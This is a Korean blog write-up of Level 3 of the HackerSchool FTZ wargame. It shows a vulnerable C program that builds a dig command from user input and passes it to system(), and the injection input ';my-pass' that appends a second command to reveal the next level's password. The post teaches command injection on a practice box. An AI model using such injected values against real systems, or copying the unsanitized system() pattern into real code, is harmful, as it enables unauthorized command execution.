Hongfluenza

[FTZ] 해커스쿨 Level 3 풀이 본문

CHALLENGE/hackerschool

[FTZ] 해커스쿨 Level 3 풀이

Hongfluenza 2019. 2. 14. 16:17

[FTZ] 해커스쿨 Level 3

id>level3

passwd>can you fly?



ls 명령어를 사용하여 파일과 디렉토리 확인하기



cat hint 명령어를 치면 다음과 같은 소스코드가 나온다.


int main(int argc, char **argv){     // main 함수에 argc 인자를 받는다.

 

    char cmd[100];    //    cmd 변수에 100의 공간을 할당한 char형 변수를 선언한다.

 

    if( argc!=2 ){    // argc가 2가 아니라면, if문을 실행한다.

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }

 

    strcpy( cmd, "dig @" );    // 문자열 복사하는 함수 : cmd 변수에 "dig @"를 넣는다.

    strcat( cmd, argv[1] );    // 문자열을 붙여넣는 함수 : cmd에 argv[1] 값을 붙여 넣는다.

    strcat( cmd, " version.bind chaos txt");    // cmd 뒤에 " version.bind chaos txt" 문구를 덧붙인다.

 

    system( cmd );    // cmd 배열 내용을 실행시킨다.

 

}



HINT

- 동시에 여러 명령어를 사용하려면?

: ;(세미콜론)을 붙여주면 여러 명령어를 동시에 사용할 수 있다.


- 문자열 형태로 명령어를 전달하려면?

: ""(큰 따옴표)를 사용하면 된다.



level4의 권한으로 얻을 수 있는 힌트를 얻는다.

(오류는 제외)


./autodig ";my-pass"라는 명령어를 치면


cmd는 dig @;my-pass;version.bind chaos txt가 되는데,


1. dig @가 실행되어 

dig: Couldn't find server ' ' : Name or service not known

이라는 오류가 떴고


2. my-pass가 실행되어

level4의 패스워드를 알아냈고


3. version.bind chaos txt는 무시되었다.




'CHALLENGE > hackerschool' 카테고리의 다른 글

[FTZ] 해커스쿨 Level 5 풀이  (0) 2019.08.11
[FTZ] 해커스쿨 Level 4 풀이  (0) 2019.02.23
[FTZ] 해커스쿨 Level 2 풀이  (0) 2019.02.13
[FTZ] 해커스쿨 Level 1 풀이  (0) 2019.02.13
[FTZ] 해커스쿨 trainer1-10  (0) 2018.03.15